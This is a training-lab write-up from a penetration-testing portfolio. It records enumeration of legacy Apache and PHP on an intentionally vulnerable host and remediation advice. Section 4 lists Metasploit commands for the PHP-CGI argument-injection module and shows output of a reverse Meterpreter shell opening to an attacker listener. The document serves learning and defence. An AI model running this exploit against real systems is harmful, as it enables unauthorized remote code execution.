

PHP and Apache Vulnerability Validation

Version Enumeration, Exploit Research, Controlled Validation, and Remediation

ETHICAL HACKING

CONTROLLED LAB

EVIDENCE BASED

An authorized web-server lab that identifies legacy Apache and PHP versions, researches relevant PHP-CGI weaknesses, and validates remote code execution against an intentionally vulnerable target.

Authorization and safety boundary: This report documents an instructor-provided, isolated training exercise. No real users, public targets, production systems, or real credentials were used. Commands use placeholders for portfolio safety. Original screenshots remain unchanged and may show transient private lab addresses.

ASSESSMENT TYPE	Authorized training-lab exercise
OBJECTIVE	Connect service-version evidence to controlled exploit validation and actionable defensive remediation.
ENVIRONMENT	Instructor-provided Kali Linux and intentionally vulnerable Apache/PHP target on an isolated RFC1918 network.
EVIDENCE	4 original screenshots retained unchanged and presented in execution order.

Professional Skills Demonstrated

- Web-service enumeration
- PHP configuration review
- Exploit applicability research
- Controlled remote-code-execution validation
- Impact documentation
- Web-server remediation

Assessment Workflow and Evidence

1. Enumerate the Web Service

Objective: Identify the HTTP server and reported version on the assigned target.

A targeted Nmap scan confirmed an old Apache service on TCP 80. The scan was intentionally narrow and saved as assessment evidence.

Lab Commands

```
nmap -sV -sC -p80 TARGET_IP -oA evidence/php-web-enumeration
```

```
root@attackdefense:~# nmap -sV -sC -p 80 10.2.19.172
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-25 04:54 IST
Nmap scan report for demo.ine.local (10.2.19.172)
Host is up (0.0030s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_ http-title: Metasploitable2 - Linux
|_ http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.04 seconds
root@attackdefense:~#
```

Evidence 01 - Apache service and version enumeration. Original lab screenshot retained unchanged.

Analyst observation: Legacy version information raised risk but still required configuration and exploit-applicability validation.

2. Review Exposed PHP Information

Objective: Confirm the PHP runtime and observe information exposed by phpinfo().

The training server exposed a phpinfo page containing runtime, build, and path details. Such pages are useful during development but should not remain accessible in production.

Lab Commands

```
curl -s http://TARGET_IP/phpinfo.php | head
```

PHP Version 5.2.4-2ubuntu5.10	
System	Linux d1d6a9361621 5.4.0-1048-aws #50-Ubuntu SMP Mon May 3 21:44:17 UTC 2021 x86_64
Build Date	Jan 6 2010 21:50:12
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/cgi
Loaded Configuration File	/etc/php5/cgi/php.ini
Scan this dir for additional .ini files	/etc/php5/cgi/conf.d

Evidence 02 - Exposed phpinfo page showing the legacy PHP runtime. Original lab screenshot retained unchanged.

Analyst observation: phpinfo output can disclose versions, modules, paths, environment data, and security-relevant configuration.

3. Research Exploit Applicability

Objective: Search the local exploit index for PHP-CGI weaknesses relevant to the observed stack.

Searchsploit returned several references. The candidate was selected because it aligned with the legacy PHP-CGI configuration shown in the lab.

Lab Commands

```
searchsploit php cgi
```

```
MRCGIGUY Ultimate Profit Portal 1.0.1 - Insecure Cookie Handling
PHP 5.3.12/5.4.2 - CGI Argument Injection (Metasploit)
PHP 5.5.9 - 'zend_executor_globals' 'CGIMode FPM WriteProcMemFile' disable_functions Bypass / Load
PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
PHP PHP/fi 2.0 - Directory Traversal
phpBB 2.0.10 - Remote Command Execution (CGI)
```

Evidence 03 - Exploit-reference search for PHP-CGI argument injection. Original lab screenshot retained unchanged.

Analyst observation: Exploit references require configuration matching; version strings alone are insufficient for safe conclusions.

4. Validate Impact in the Authorized Lab

Objective: Run the assigned framework module and document the resulting session without persistence or lateral movement.

The PHP-CGI argument-injection module produced a remote session on the intentionally vulnerable host. Validation stopped after confirming the session and basic system context.

Lab Commands

```
use exploit/multi/http/php_cgi_arg_injection

set RHOSTS TARGET_IP

run

# Confirm context, collect minimal evidence, exit the session
```

```
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 10.4.26.124
RHOSTS => 10.4.26.124
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 10.10.80.9:4444
[*] Sending stage (39282 bytes) to 10.4.26.124
[*] Meterpreter session 2 opened (10.10.80.9:4444 -> 10.4.26.124:46996 ) at 2022-04-30 01:17:44 +0530

meterpreter > sysinfo
Computer      : d1d6a9361621
OS            : Linux d1d6a9361621 5.4.0-1048-aws #50-Ubuntu SMP Mon May 3 21:44:17 UTC 2021 x86_64
Meterpreter   : php/linux
meterpreter > █
```

Evidence 04 - Controlled exploit validation and remote session evidence. Original lab screenshot retained unchanged.

Analyst observation: Successful code execution demonstrated full host impact; no persistence, credential access, or movement beyond the assigned target was performed.

Findings and Risk

Severity	Finding	Evidence-based impact
CRITICAL	Remote code execution	The authorized exploit validation produced a remote session on the intentionally vulnerable PHP host.
HIGH	Unsupported legacy software	The server exposed obsolete Apache and PHP versions with known security weaknesses.
HIGH	PHP-CGI configuration exposure	The runtime configuration allowed a PHP-CGI argument-injection path to become exploitable.
MEDIUM	Information disclosure through phpinfo	The public phpinfo page disclosed runtime and configuration details useful to an attacker.

Defensive Recommendations

- Upgrade Apache and PHP to supported releases and remove obsolete CGI deployment patterns.
- Delete or restrict phpinfo pages and prevent sensitive runtime details from reaching untrusted clients.
- Harden web-server and PHP configuration, disable unnecessary modules, and run the service with least privilege.
- Use a reverse proxy or web application firewall as an additional control, not as a substitute for patching.
- Review web logs, process trees, file integrity, scheduled tasks, user accounts, and outbound connections for compromise evidence.
- After remediation, repeat version, configuration, and exploit validation from a clean snapshot and preserve the evidence.

Reflection and Next Step

This lab linked a visible version and configuration weakness to verified host impact. The disciplined stopping point mattered: once remote execution was proven, additional post-exploitation was unnecessary for the learning objective and would have increased risk without improving the finding.

Evidence note: The screenshots are original lab captures retained unchanged. The surrounding narrative was rewritten for clarity, public safety, and recruiter review. Training-provider names, marks, and course materials remain the property of their respective owners; this portfolio is not an endorsement or affiliation claim.